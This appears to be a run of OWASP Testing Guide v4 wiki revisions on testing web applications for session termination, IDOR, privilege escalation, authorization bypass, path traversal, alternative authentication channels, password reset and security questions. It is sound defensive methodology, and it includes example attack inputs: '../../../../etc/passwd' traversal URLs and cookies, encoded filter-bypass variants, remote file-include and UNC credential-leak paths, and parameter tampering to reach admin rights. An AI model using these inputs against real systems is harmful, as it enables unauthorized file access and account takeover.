2014-09-16T10:37:15Z

Lvsteche: /* References */

{{Template:OWASP Testing Guide v4}}

== Summary ==
Session termination is an important part of the session lifecycle. Reducing to a minimum the lifetime of the session tokens decreases the likelihood of a successful session hijacking attack. This can be seen as a control against preventing other attacks like Cross Site Scripting and Cross Site Request Forgery. Such attacks have been known to rely on a user having an authenticated session present. Not having a secure session termination only increases the attack surface for any of these attacks.

A secure session termination requires at least the following components:

* Availability of user interface controls that allow the user to manually log out.
* Session termination after a given amount of time without activity (session timeout).
* Proper invalidation of server-side session state.

There are multiple issues which can prevent the effective termination of a session. For the ideal secure web application, a user should be able to terminate at any time through the user interface. Every page should contain a log out button on a place where it is directly visible. Unclear or ambiguous log out functions could cause the user not trusting such functionality.

Another common mistake in session termination is that the client-side session token is set to a new value while the server-side state remains active and can be reused by setting the session cookie back to the previous value. Sometimes only a confirmation message is shown to the user without performing any further action. This should be avoided.

Some web application frameworks rely solely on the session cookie to identify the logged-on user. The user's ID is embedded in the (encrypted) cookie value. The application server does not do any tracking on the server-side of the session. When logging out, the session cookie is removed from the browser. However, since the application does not do any tracking, it does not know whether a session is logged out or not. So by reusing a session cookie it is possible to gain access to the authenticated session. A well-known example of this is the Forms Authentication functionality in ASP.NET.

Users of web browsers often don't mind that an application is still open and just close the browser or a tab. A web application should be aware of this behavior and terminate the session automatically on the server-side after a defined amount of time.

The usage of a single sign-on (SSO) system instead of an application-specific authentication scheme often causes the coexistence of multiple sessions which have to be terminated separately. For instance, the termination of the application-specific session does not terminate the session in the SSO system. Navigating back to the SSO portal offers the user the possibility to log back in to the application where the log out was performed just before. On the other side a log out function in a SSO system does not necessarily cause session termination in connected applications.

== How to Test ==
'''Testing for log out user interface:''' 
Verify the appearance and visibility of the log out functionality in the user interface. For this purpose, view each page from the perspective of a user who has the intention to log out from the web application.

'''Result Expected:''' 
There are some properties which indicate a good log out user interface:
* A log out button is present on all pages of the web application.
* The log out button should be identified quickly by a user who wants to log out from the web application.
* After loading a page the log out button should be visible without scrolling.
* Ideally the log out button is placed in an area of the page that is fixed in the view port of the browser and not affected by scrolling of the content.

'''Testing for server-side session termination:''' 
First, store the values of cookies that are used to identify a session. Invoke the log out function and observe the behavior of the application, especially regarding session cookies. Try to navigate to a page that is only visible in an authenticated session, e.g. by usage of the back button of the browser. If a cached version of the page is displayed, use the reload button to refresh the page from the server. If the log out function causes session cookies to be set to a new value, restore the old value of the session cookies and reload a page from the authenticated area of the application. If these test don't show any vulnerabilities on a particular page, try at least some further pages of the application that are considered as security-critical, to ensure that session termination is recognized properly by these areas of the application.

'''Result Expected:''' 
No data that should be visible only by authenticated users should be visible on the examined pages while performing the tests. Ideally the application redirects to a public area or a log in form while accessing authenticated areas after termination of the session. It should be not necessary for the security of the application, but setting session cookies to new values after log out is generally considered as good practice.

'''Testing for session timeout:''' 
Try to determine a session timeout by performing requests to a page in the authenticated area of the web application with increasing delays. If the log out behavior appears, the used delay matches approximately the session timeout value.

'''Result Expected:''' 
The same results as for server-side session termination testing described before are excepted by a log out caused by an inactivity timeout.

The proper value for the session timeout depends on the purpose of the application and should be a balance of security and usability. In a banking applications it makes no sense to keep an inactive session more than 15 minutes. On the other side a short timeout in a wiki or forum could annoy users which are typing lengthy articles with unnecessary log in requests. There timeouts of an hour and more can be acceptable.

'''Testing for session termination in single sign-on environments (single sign-off):''' 
Perform a log out in the tested application. Verify if there is a central portal or application directory which allows the user to log back in to the application without authentication. Test if the application requests the user to authenticate, if the URL of an entry point to the application is requested. While logged in in the tested application, perform a log out in the SSO system. Then try to access an authenticated area of the tested application.

'''Result Expected:''' 
It is expected that the invocation of a log out function in a web application connected to a SSO system or in the SSO system itself causes global termination of all sessions. An authentication of the user should be required to gain access to the application after log out in the SSO system and connected application.

==Tools==
* "Burp Suite - Repeater" - http://portswigger.net/burp/repeater.html

== References ==
'''Whitepapers'''
* "The FormsAuthentication.SignOut method does not prevent cookie reply attacks in ASP.NET applications" - http://support.microsoft.com/default.aspx?scid=kb;en-us;900111
* "Cookie replay attacks in ASP.NET when using forms authentication" - https://www.vanstechelman.eu/content/cookie-replay-attacks-in-aspnet-when-using-forms-authentication

Testing for logout functionality (OTG-SESS-006)

2014-09-16T10:36:03Z

Lvsteche: /* Summary */

Testing for Insecure Direct Object References (OTG-AUTHZ-004)

2014-03-25T12:46:21Z

Lvsteche: Minor corrections.

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
Insecure Direct Object References occur when an application provides direct access to objects based on user-supplied input. As a result of this vulnerability attackers can bypass authorization and access resources in the system directly, for example database records or files.
 
== Description of the Issue ==
Insecure Direct Object References allow attackers to bypass authorization and access resources directly by modifying the value of a parameter used to directly point to an object. Such resources can be database entries belonging to other users, files in the system, and more. This is caused by the fact that the application takes user supplied input and uses it to retrieve an object without performing sufficient authorization checks.
 
== Black Box testing and example ==
To test for this vulnerability the tester first needs to map out all locations in the application where user input is used to reference objects directly. For example – locations where user input is used to access a database row, a file, application pages and more.
At the next step the tester should modify the value of the parameter used to reference objects and assess whether it is possible to retrieve objects belonging to other users or otherwise bypass authorization.

The best way to test for direct object references would be by having at least two (often more) users to cover different owned objects and functionalities. For example two users each having access to different objects (such as purchase information, private messages, etc.), and (if relevant) users with different privileges (for example administrator users) to see whether there are direct references to application functionality. By having multiple users the tester saves valuable testing time in guessing different object names as he can attempt to access objects that belong to the other user.

Below are several typical scenarios for this vulnerability and the methods to test for each: 

'''The value of a parameter is used directly to retrieve a database record'''
Sample request: <pre>http://foo.bar/somepage?invoice=12345</pre>
In this case, the value of the ''invoice'' parameter is used as an index in an invoices table in the database. The application takes the value of this parameter and uses it in a query to the database. The application then returns the invoice information to the user.
Since the value of ''invoice'' goes directly into the query, by modifying the value of the parameter it is possible to retrieve any invoice object, regardless of the user to whom the invoice belongs. To test for this case the tester should obtain the identifier of an invoice belonging to a different test user (ensuring he is not supposed to view this information per application business logic), and then check whether it is possible to access objects without authorization.

'''The value of a parameter is used directly to perform an operation in the system'''
Sample request: <pre>http://foo.bar/changepassword?user=someuser</pre>
In this case, the value of the ''user'' parameter is used to tell the application for which user it should change the password. In many cases this step will be a part of a wizard, or a multi-step operation. In the first step the application will get a request stating for which user we are changing the password, and in the next step the user will provide a new password (without asking for the current one). The ''user'' parameter is used to directly reference the object of the user for whom the password change operation will be performed. To test for this case the tester should attempt to provide a different test username than the one currently logged in, and check whether it is possible to modify the password of another user.

'''The value of a parameter is used directly to retrieve a file system resource'''
Sample request: <pre>http://foo.bar/showImage?img=img00011</pre>
In this case, the value of the ''file'' parameter is used to tell the application which file the user intends to retrieve. By providing the name or identifier of a different file (for example file=image00012.jpg) the attacker will be able to retrieve objects belonging to other users. To test for this case, the tester should obtain a reference the user is not supposed to be able to access and attempt to access it by using it as the value of ''file'' parameter.
Note: This vulnerability is often exploited in conjunction with a directory/path traversal vulnerability (see [[Testing for Path Traversal]])

'''The value of a parameter is used directly to access application functionality'''
Sample request: <pre>http://foo.bar/accessPage?menuitem=12</pre>
In this case, the value of the ''menuitem'' parameter is used to tell the application which menu item (and therefore which application functionality) the user is attempting to access. Assume the user is supposed to be restricted and therefore has links available only to access to menu items 1, 2 and 3. By modifying the value of ''menuitem'' parameter it is possible to bypass authorization and access additional application functionality. To test for this case the tester identifies a location where application functionality is determined by reference to a menu item, maps the values of menu items the given test user can access, and then attempts other menu items.

In the above examples the modification of a single parameter is sufficient. However, sometimes the object reference may be split between more than one parameter, and testing should be adjusted accordingly.

== References ==
[[Top 10 2013-A4-Insecure Direct Object References]]

Testing for Privilege escalation (OTG-AUTHZ-003)

2014-03-25T11:46:27Z

Lvsteche: Minor corrections.

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
This section describes the issue of escalating privileges from one stage to another. During this phase, the tester should verify that it is not possible for a user to modify his or her privileges/roles inside the application in ways that could allow privilege escalation attacks.

== Description of the Issue ==
Privilege escalation occurs when a user gets access to more resources or functionality than they are normally allowed, and such elevation/changes should have been prevented by the application. This is usually caused by a flaw in the application. The result is that the application performs actions with more privileges than those intended by the developer or system administrator.

The degree of escalation depends on which privileges the attacker is authorized to possess, and which privileges can be obtained in a successful exploit. For example, a programming error that allows a user to gain extra privilege after successful authentication limits the degree of escalation, because the user is already authorized to hold some privilege. Likewise, a remote attacker gaining superuser privilege without any authentication presents a greater degree of escalation.

Usually, we refer to ''vertical escalation'' when it is possible to access resources granted to more privileged accounts (e.g., acquiring administrative privileges for the application), and to ''horizontal escalation'' when it is possible to access resources granted to a similarly configured account (e.g., in an online banking application, accessing information related to a different user).

== Black Box testing and example ==
'''Testing for role/privilege manipulation''' 
In every portion of the application where a user can create information in the database (e.g., making a payment, adding a contact, or sending a message), to receive information (statement of account, order details, etc.), or delete information (drop users, messages, etc.), it is necessary to record that functionality. The tester should try to access such functions as another user in order to verify, for example, if it is possible to access a function that should not be permitted by the user's role/privilege (but might be permitted as another user).

For example: 
The following HTTP POST allows the user that belongs to grp001 to access order #0001:
<pre>
POST /user/viewOrder.jsp HTTP/1.1
Host: www.example.com
...

groupID=grp001&orderID=0001
</pre>
Verify if a user that does not belong to grp001 can modify the value of the parameters ‘groupID’ and ‘orderID’ to gain access to that privileged data.

For example: 
The following server's answer shows a hidden field in the HTML returned to the user after a successful authentication.

HTTP/1.1 200 OK
Server: Netscape-Enterprise/6.0
Date: Wed, 1 Apr 2006 13:51:20 GMT
Set-Cookie: USER=aW78ryrGrTWs4MnOd32Fs51yDqp; path=/; domain=www.example.com
Set-Cookie: SESSION=k+KmKeHXTgDi1J5fT7Zz; path=/; domain= www.example.com
Cache-Control: no-cache
Pragma: No-cache
Content-length: 247
Content-Type: text/html
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close

<form name="autoriz" method="POST" action = "visual.jsp">
<input type="hidden" name="profile" value="SysAdmin">
<body onload="document.forms.autoriz.submit()">
</td>
</tr>

What if the tester modifies the value of the variable "profile" to "SysAdmin"? Is it possible to become administrator?

For example: 
In an environment in which the server sends an error message contained as a value in a specific parameter in a set of answer's codes, as the following:

@0`1`3`3``0`UC`1`Status`OK`SEC`5`1`0`ResultSet`0`PVValid`-1`0`0` Notifications`0`0`3`Command Manager`0`0`0` StateToolsBar`0`0`0`
StateExecToolBar`0`0`0`FlagsToolBar`0

The server gives an implicit trust to the user. It believes that the user will answer with the above message closing the session.
In this condition, verify that it is not possible to escalate privileges by modifying the parameter values.
In this particular example, by modifying the `PVValid` value from '-1' to '0' (no error conditions), it may be possible to authenticate as administrator to the server.
 

== References ==
'''Whitepapers''' 
* Wikipedia - Privilege Escalation: http://en.wikipedia.org/wiki/Privilege_escalation 
'''Tools''' 
* OWASP WebScarab: [[OWASP WebScarab Project]]

Testing for Bypassing Authorization Schema (OTG-AUTHZ-002)

2014-03-25T11:30:24Z

Lvsteche: Minor corrections.

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
This kind of test focuses on verifying how the authorization schema has been implemented for each role/privilege to get access to reserved functions/resources.

== Description of the Issue ==
For every specific role the tester holds during the assessment, for every function and request that the application executes during the post-authentication phase, it is necessary to verify:
* Is it possible to access that resource even if the user is not authenticated?
* Is it possible to access that resource after the log-out?
* Is it possible to access functions and resources that should be accessible to a user that holds a different role/privilege?
Try to access the application as an administrative user and track all the administrative functions.
* Is it possible to access administrative functions also if the tester is logged as a user with standard privileges?
* Is it possible to use these administrative functions as a user with a different role and for whom that action should be denied?

== Black Box testing and example ==
'''Testing for access to administrative functions''' 
For example, suppose that the 'AddUser.jsp' function is part of the administrative menu of the application, and it is possible to access it by requesting the following URL:
https://www.example.com/admin/addUser.jsp

Then, the following HTTP request is generated when calling the AddUser function:
<pre>
POST /admin/addUser.jsp HTTP/1.1
Host: www.example.com
[other HTTP headers]

userID=fakeuser&role=3&group=grp001
</pre>

What happens if a non-administrative user tries to execute that request? Will the user be created? If so, can the new user use her privileges?

'''Testing for access to resources assigned to a different role''' 
Analyze, for example, an application that uses a shared directory to store temporary PDF files for different users. Suppose that documentABC.pdf should be accessible only by the user test1 with roleA. Verify if user test2 with roleB can access that resource.
 

== References ==
'''Tools''' 
* OWASP WebScarab: [[OWASP WebScarab Project]]

Testing Directory traversal/file include (OTG-AUTHZ-001)

2014-03-24T12:01:07Z

Lvsteche: Minor corrections/rewrites.

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
Many web applications use and manage files as part of their daily operation. Using input validation methods that have not been well designed or deployed, an aggressor could exploit the system in order to read/write files that are not intended to be accessible. In particular situations, it could be possible to execute arbitrary code or system commands.
 

==Related Security Activities==

===Description of Path Traversal Vulnerabilities===

See the OWASP article on [[Path Traversal]] Vulnerabilities.

See the OWASP article on [[Relative Path Traversal]] Vulnerabilities.

===How to Avoid Path Traversal Vulnerabilities===

See the [[:Category:OWASP Guide Project|OWASP Guide]] article on how to [[File_System#Path_traversal|Avoid Path Traversal ]] Vulnerabilities.

===How to Review Code for Path Traversal Vulnerabilities===

See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for Path Traversal |Review Code for Path Traversal ]] Vulnerabilities.

== Description of the Issue ==
Traditionally, web servers and web applications implement authentication mechanisms in order to control access to files and resources.
Web servers try to confine users' files inside a "root directory" or "web document root" which represents a physical directory on the file system; users have to consider this directory as the base directory into the hierarchical structure of the web application.
The definition of the privileges is made using ''Access Control Lists'' (ACL) which identify which users or groups are supposed to be able to access, modify, or execute a specific file on the server.
These mechanisms are designed to prevent malicious users from accessing sensitive files (for example, the common ''/etc/passwd'' file on a UNIX-like platform) or to avoid the execution of system commands.

Many web applications use server-side scripts to include different kinds of files: it is quite common to use this method to manage images, templates, load static texts, and so on. Unfortunately, these applications expose security vulnerabilities if input parameters (i.e., form parameters, cookie values) are not correctly validated.

In web servers and web applications, this kind of problem arises in path traversal/file include attacks. By exploiting this kind of vulnerability, an attacker is able to read directories or files which he/she normally couldn't read, access data outside the web document root, or include scripts and other kinds of files from external websites.

For the purpose of the OWASP Testing Guide, we will just consider the security threats related to web applications and not to web servers (e.g., the infamous "%5c escape code" into Microsoft IIS web server). We will provide further reading suggestions in the references section for interested readers.

This kind of attack is also known as the '''dot-dot-slash''' attack (../), '''directory traversal''', '''directory climbing''', or '''backtracking'''.

During an assessment, in order to discover path traversal and file include flaws, we need to perform two different stages:
* ('''a''') '''Input Vectors Enumeration''' (a systematic evaluation of each input vector)
* ('''b''') '''Testing Techniques''' (a methodical evaluation of each attack technique used by an attacker to exploit the vulnerability)
 

== Black Box testing and example ==
('''a''') '''Input Vectors Enumeration''' 
In order to determine which part of the application is vulnerable to input validation bypassing, the tester needs to enumerate all parts of the application which accept content from the user. This also includes HTTP GET and POST queries and common options like file uploads and HTML forms.

Here are some examples of the checks to be performed at this stage:

* Are there request parameters which could be used for file-related operations?
* Are there unusual file extensions?
* Are there interesting variable names?
<pre>
http://example.com/getUserProfile.jsp?item=ikki.html
http://example.com/index.php?file=content
http://example.com/main.cgi?home=index.htm
</pre>

* Is it possible to identify cookies used by the web application for the dynamic generation of pages/templates?

<pre>
Cookie: ID=d9ccd3f4f9f18cc1:TM=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:TEMPLATE=flower
Cookie: USER=1826cc8f:PSTYLE=GreenDotRed
</pre>
 

('''b''') '''Testing Techniques'''

The next stage of testing is analyzing the input validation functions present in the web application.

Using the previous example, the dynamic page called ''getUserProfile.jsp'' loads static information from a file, showing the content to users. An attacker could insert the malicious string "''../../../../etc/passwd''" to include the password hash file of a Linux/UNIX system.
Obviously, this kind of attack is possible only if the validation checkpoint fails; according to the filesystem privileges, the web application itself must be able to read the file.

To successfully test for this flaw, the tester needs to have knowledge of the system being tested and the location of the files being requested. There is no point requesting /etc/passwd from an IIS web server.

<pre>
http://example.com/getUserProfile.jsp?item=../../../../etc/passwd
</pre>

For the cookies example, we have:
<pre>
Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd
</pre>

It's also possible to include files and scripts located on external website.
<pre>
http://example.com/index.php?file=http://www.owasp.org/malicioustxt
</pre>

The following example will demonstrate how it is possible to show the source code of a CGI component, without using any path traversal characters.
<pre>
http://example.com/main.cgi?home=main.cgi
</pre>

The component called "''main.cgi''" is located in the same directory as the normal HTML static files used by the application.
In some cases the tester needs to encode the requests using special characters (like the "'''.'''" dot, "'''%00'''" null, ...) in order to bypass file extension controls or to prevent script execution.

Tip
It's a common mistake by developers to not expect every form of encoding and therefore only do validation for basic encoded content. If at first your test string isn't successful, try another encoding scheme.

Each operating system uses different characters as path separator:

''Unix-like OS'':
<pre>
root directory: "/"
directory separator: "/"
</pre>

''Windows OS' Shell':
<pre>
root directory: "<drive letter>:\"
directory separator: "\" or "/"
</pre>

''Classic Mac OS'':
<pre>
root directory: "<drive letter>:"
directory separator: ":"
</pre>
 
We should take in to account the following character encoding mechanisms:

* URL encoding and double URL encoding

<pre>
%2e%2e%2f represents ../
%2e%2e/ represents ../
..%2f represents ../
%2e%2e%5c represents ..\
%2e%2e\ represents ..\
..%5c represents ..\
%252e%252e%255c represents ..\
..%255c represents ..\ and so on.
</pre>

* Unicode/UTF-8 Encoding (it only works in systems that are able to accept overlong UTF-8 sequences)

<pre>
..%c0%af represents ../
..%c1%9c represents ..\
</pre>
 

There are other OS and application framework specific considerations as well. For instance, Windows is flexible in its parsing of file paths.

* ''Windows shell'': Appending any of the following to paths used in a shell command results in no difference in function:
** Angle brackets ">" and "<" at the end of the path
** Double quotes (closed properly) at the end of the path
** Extraneous current directory markers such as "./" or ".\"
** Extraneous parent directory markers with arbitrary items that may or may not exist
*: Examples: 
<pre>
– file.txt
– file.txt...
– file.txt<spaces>
– file.txt””””
– file.txt<<<>>><
– ./././file.txt
– nonexistant/../file.txt
</pre>

* ''Windows API'': The following items are discarded when used in any shell command or API call where a string is taken as a filename: 
<pre>
periods
spaces
</pre>

* ''Windows UNC Filepaths'': Used to reference files on SMB shares. Sometimes, an application can be made to refer to files on a remote UNC filepath. If so, the Windows SMB server may send stored credentials to the attacker, which can be captured and cracked. These may also be used with a self-referential IP address or domain name to evade filters, or used to access files on SMB shares inaccessible to the attacker, but accessible from the web server. 
<pre>
\\server_or_ip\path\to\file.abc
\\?\server_or_ip\path\to\file.abc
</pre>

* ''Windows NT Device Namespace'': Used to refer to the Windows device namespace. Certain references will allow access to filesystems using a different path.
** May be equivalent to a drive letter such as c:\, or even a drive volume without an assigned letter. <pre>\\.\GLOBALROOT\Device\HarddiskVolume1\</pre>
** Refers to the first disc drive on the machine. <pre>\\.\CdRom0\</pre>

== Gray Box testing and example ==
When the analysis is performed with a Gray Box approach, we have to follow the same methodology as in Black Box Testing. However, since we can review the source code, it is possible to search the input vectors (''stage ('''a''') of the testing'') more easily and accurately.
During a source code review, we can use simple tools (such as the ''grep'' command) to search for one or more common patterns within the application code: inclusion functions/methods, filesystem operations, and so on.

<pre>
PHP: include(), include_once(), require(), require_once(), fopen(), readfile(), ...
JSP/Servlet: java.io.File(), java.io.FileReader(), ...
ASP: include file, include virtual, ...
</pre>

Using online code search engines (e.g., Ohloh Code[http://code.ohloh.net/]), it may also be possible to find path traversal flaws in Open Source software published on the Internet.

For PHP, we can use:
<pre>
lang:php (include|require)(_once)?\s*['"(]?\s*\$_(GET|POST|COOKIE)
</pre>
 
Using the Gray Box Testing method, it is possible to discover vulnerabilities that are usually harder to discover, or even impossible to find during a standard Black Box assessment.

Some web applications generate dynamic pages using values and parameters stored in a database. It may be possible to insert specially crafted path traversal strings when the application adds data to the database. This kind of security problem is difficult to discover due to the fact the parameters inside the inclusion functions seem internal and "safe" but are not in reality.

Additionally, by reviewing the source code, it is possible to analyze the functions that are supposed to handle invalid input: some developers try to change invalid input to make it valid, avoiding warnings and errors. These functions are usually prone to security flaws.

Consider a web application with these instructions:
<pre>
filename = Request.QueryString(“file”);
Replace(filename, “/”,”\”);
Replace(filename, “..\”,””);
</pre>

Testing for the flaw is achieved by:
<pre>
file=....//....//boot.ini
file=....\\....\\boot.ini
file= ..\..\boot.ini
</pre>
 

== References ==
'''Whitepapers'''
* phpBB Attachment Mod Directory Traversal HTTP POST Injection -
http://archives.neohapsis.com/archives/fulldisclosure/2004-12/0290.html[http://archives.neohapsis.com/archives/fulldisclosure/2004-12/0290.html]
* Windows File Pseudonyms: Pwnage and Poetry - http://www.slideshare.net/BaronZor/windows-file-pseudonyms[http://www.slideshare.net/BaronZor/windows-file-pseudonyms]
 
'''Tools'''
* DotDotPwn - The Directory Traversal Fuzzer - http://dotdotpwn.sectester.net
* Path Traversal Fuzz Strings (from WFuzz Tool) - http://code.google.com/p/wfuzz/source/browse/trunk/wordlist/Injections/Traversal.txt
* Web Proxy (''Burp Suite''[http://portswigger.net], ''Paros''[http://www.parosproxy.org/index.shtml], ''WebScarab''[http://www.owasp.org/index.php/OWASP_WebScarab_Project])
* Enconding/Decoding tools
* String searcher "grep" - http://www.gnu.org/software/grep/

Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)

2014-03-22T09:56:47Z

Lvsteche: Minor corrections/rewrites.

{{Template:OWASP Testing Guide v4}}

== Brief Description ==

Even if the primary authentication mechanisms do not include any vulnerabilities, it may be that vulnerabilities exist in alternative legitimate authentication user channels for the same user accounts. Tests should be undertaken to identify alternative channels and, subject to test scoping, identify vulnerabilities.

== Issue ==

The alternative user interaction channels could be utilized to circumvent the primary channel, or expose information that can then be used to assist an attack against the primary channel. Some of these channels may themselves be separate web applications using different hostnames and/or paths. For example:

* Standard website
* Mobile, or specific device, optimized website
* Accessibility optimized website
* Alternative country and language websites
* Parallel websites that utilize the same user accounts (e.g. another website offering different functionally of the same organization, a partner website with which user accounts are shared)
* Development, test, UAT and staging versions of the standard website

But they could also be other types of application or business processes:

* Mobile device app
* Desktop application
* Call center operators
* Interactive voice response or phone tree systems

Note that the focus of this test is on alternative channels; some authentication alternatives might appear as different content delivered via the same website and would almost certainly be in scope for testing. These are not discussed further here, and should have been identified during information gathering and primary authentication testing. For example:

* Progressive enrichment and graceful degradation that change functionality
* Site use without cookies
* Site use without JavaScript
* Site use without plugins such as for Flash and Java

Even if the scope of the test does not allow the alternative channels to be tested, their existence should be documented. These may undermine the degree of assurance in the authentication mechanisms and may be a pre-cursor to additional testing.

== Example ==

The primary website is:

http://www.example.com

and authentication functions always take place on pages using Transport Layer Security:

https://www.example.com/myaccount/

However, a separate mobile-optimized website exists that does not use Transport Layer Security at all, and has a weaker password recovery mechanism:

http://m.example.com/myaccount/

== Testing Method ==

=== Understand the primary mechanism ===

Fully test the website's primary authentication functions. This should identify whether and how accounts are issued/created/changed and how passwords are recovered/reset/changed. Additionally knowledge of any elevated privilege authentication and authentication protection measures should be known. These precursors are necessary to be able to compare with any alternative channels.

=== Identify other channels ===

Other channels can be found by using the following methods:

* Reading site content, especially the home page, contact us, help pages, support articles and FAQs, T&Cs, privacy notices, the robots.txt file and any sitemap.xml files.
* Searching HTTP proxy logs, recorded during previous information gathering and testing, for strings such as "mobile", "android", blackberry", "ipad", "iphone", "mobile app", "e-reader", "wireless", "auth", "sso", "single sign on" in URL paths and body content.
* Use search engines to find different websites from the same organization, or using the same domain name, that have similar home page content or which also have authentication mechanisms.

For each possible channel confirm whether user accounts are shared across these, or provide access to the same or similar functionality.

=== Enumerate authentication functionality ===

For each alternative channel where user accounts or functionality are shared, identify if all the authentication functions of the primary channel are available, and if anything extra exists. It may be useful to create a grid like the one below:

{| border="1" cellpadding="2" cellspacing="0"
!width="150"|Primary
!width="150"|Mobile
!width="150"|Call Center
!width="150"|Partner Website
|-
| Register
| Yes
| -
| -
|-
| Log in
| Yes
| Yes
| Yes (SSO)
|-
| Log out
| -
| -
| -
|-
| Password reset
| Yes
| Yes
| -
|-
| -
| Change password
| -
| -
|-
|}

In this example, mobile has an extra function "change password" but does not offer "log out". A limited number of tasks are also possible by phoning the call center. Call centers can be interesting, because their identity confirmation checks might be weaker than the website's, allowing this channel to be used to aid an attack against a user's account.

While enumerating these it is worth taking note of how session management is undertaken, in case there is overlap across any channels (e.g. cookies scoped to the same parent domain name, concurrent sessions allowed across channels, but not on the same channel).

=== Review and/or test ===

Alternative channels should be mentioned in the testing report, even if they are marked as "information only" and/or "out of scope".

In some cases the test scope might include the alternative channel (e.g. because it is just another path on the target hostname), or may be added to the scope after discussion with the owners of all the channels. If testing is permitted and authorized, all the other authentication tests in this guide should then be performed, and compared against the primary channel.

== Related Test Cases ==

The test cases for all the other authentication tests should be utilized.

== Remediation ==

Ensure a consistent authentication policy is applied across all channels so that they are equally secure.

Testing for weak password change or reset functionalities (OTG-AUTHN-009)

2014-03-22T09:37:14Z

Lvsteche: Minor corrections/rewrites.

{{Template:OWASP Testing Guide v4}}

== Summary ==

The password change/reset function of an application is a self-service password change/reset mechanism for users. This self-service mechanism allows users to quickly change/reset their password without an administrator intervening. When passwords are changed they are typically changed within the application. When passwords are reset they are either rendered within the application or emailed to the user. This may indicate that the passwords are stored in plaintext or in a decryptable format.

== Test objectives ==

Determine the resistance of the application to subversion of the account change process allowing someone to change the password of an account. 
Determine the resistance of the passwords reset functionality against guessing or bypassing.

== Black Box Testing and Examples ==

For both functionalities (password change and password reset) it is important to check:
# if users, other than administrators, can change/reset passwords for accounts other than their own.
# if users can manipulate/subvert the password change/reset process to change/reset the password of another user or administrator.
# if the password change/reset process is vulnerable to [[Testing_for_CSRF_(OWASP-SM-005)|CSRF]]

=== Test Password Reset ===

In addition to the previous checks it is important to verify the following:

* What information is required to reset the password?
The first step is to check whether secret questions/information are required. Sending the password (or a password reset link) to the user email address without first asking for a secret question means relying 100% on the security of that email address, which is not suitable if the application needs a high level of security. 
On the other hand, if secret questions are used, the next step is to assess their strength. This specific test is discussed in detail in the [[Testing_for_Weak_security_question/answer_(OTG-AUTHN-008)|Testing for Weak security question/answer]] paragraph of this guide.
 
* How are reset passwords communicated to the user?
The most insecure scenario here is if the password reset tool shows you the password; this gives the attacker the ability to log into the account, and unless the application provides information about the last login the victim would not know that his/her account has been compromised. 
A less insecure scenario is if the password reset tool forces the user to immediately change his/her password. While not as stealthy as the first case, it allows the attacker to gain access and locks the real user out. 
The best security is achieved if the password reset is done via an email to the address the user initially registered with, or some other email address; this forces the attacker to not only guess at which email account the password reset was sent to (unless the application show this information) but also to compromise that email account in order to obtain the temporary password or the password reset link.
 
* Are reset passwords generated randomly or not?
The most insecure scenario here is if the application sends/visualizes the old password in clear text because this means that passwords are not stored in a hashed form, which is a security issue in itself. 
The best security is achieved if passwords are randomly generated with a secure algorithm that cannot be derived.
 
* Is the reset password functionality requesting confirmation before changing the password?
To limit denial-of-service attacks the application should send, via e-mail, a link to the user with a random token, and only if the user visits the link then the reset procedure is completed. This ensures that the current password will still be valid until the reset has been confirmed.
 

=== Test Password Change ===

In addition to the previous test it is important to verify:

* Is the old password requested to complete the change?
The most insecure scenario here is if the application permits the change of the password without requesting the current password. Indeed if an attacker is able to take control of a valid session (s)he could easily change the victim's password. 

See also [[Testing_for_Weak_password_policy_(OWASP-AT-008)|Testing for Weak password policy]] paragraph of this guide.

== References ==

* [[Forgot_Password_Cheat_Sheet|OWASP Forgot Password Cheat Sheet]]
* [[OWASP_Periodic_Table_of_Vulnerabilities_-_Insufficient_Password_Recovery|OWASP Periodic Table of Vulnerabilities - Insufficient Password Recovery]]

== Remediation ==

The password change/reset function is a sensitive function and requires some form of protection, such as requiring users to re-authenticate or presenting the user with confirmation dialogs during the process.

Testing for Weak security question/answer (OTG-AUTHN-008)

2014-03-22T09:22:01Z

Lvsteche: Minor corrections/rewrites.

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
Often called "secret" questions and answers, security questions and answers are often used to recover forgotten passwords (see [[Testing for weak password change or reset functionalities (OWASP-AT-011)]]), or as extra security on top of the password.
 
They are typically generated upon account creation, and require the user to select from some pre-generated questions and supply an appropriate answer, or allow the user to generate their own question and answer pairs. Both methods are prone to insecurities.
 
Ideally, security questions should generate answers that are only known by the user, and not guessable or discoverable by anybody else. This is harder than it sounds.
 

== Description of the Issue ==
Security questions and answers rely on the secrecy of the answer. Questions and answers should be chosen so that the answers are only known by the account holder. However, although a lot of answers may not be publicly known, most of the questions that websites implement promote answers that are pseudo-private.
 
'''Pre-generated questions:'''
 
The majority of pre-generated questions are fairly simplistic in nature and can lead to insecure answers. For example:
* The answers may be known to family members or close friends of the user, e.g. "What is your mother's maiden name?", "What is your date of birth?"
* The answers may be easily guessable, e.g. "What is your favorite color?", "What is your favorite baseball team?"
* The answers may be brute forcible, e.g. "What is the first name of your favorite high school teacher?" - the answer is probably on some easily downloadable lists of popular first names, and therefore a simple brute force attack can be scripted.
* The answers may be publicly discoverable, e.g. "What is your favorite movie?" - the answer may easily be found on the user's social media profile page.
 
'''Self-generated questions:'''
 
The problem with having users to generate their own questions is that it allows them to generate very insecure questions, or even bypass the whole point of having a security question in the first place. Here are some real world examples that illustrate this point:
 
* "What is 1+1?"
* "What is your username?"
* "My password is M3@t$p1N"
 
== Black Box testing and examples ==
'''Testing for weak pre-generated questions:'''
 
Try to obtain a list of security questions by creating a new account or by following the “I don’t remember my password”-process. Try to generate as many questions as possible to get a good idea of the type of security questions that are asked. If any of the security questions fall in the categories described above, they are vulnerable to being attacked (guessed, brute-forced, available on social media, etc.).
 
'''Testing for weak self-generated questions:'''
 
Try to create security questions by creating a new account or by configuring your existing account’s password recovery properties. If the system allows the user to generate their own security questions, it is vulnerable to having insecure questions created. If the system uses the self-generated security questions during the forgotten password functionality and if usernames can be enumerated (see [[Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)]]), then it should be easy for the tester to enumerate a number of self-generated questions. It should be expected to find several weak self-generated questions using this method.
 
'''Testing for brute-forcible answers:'''
 
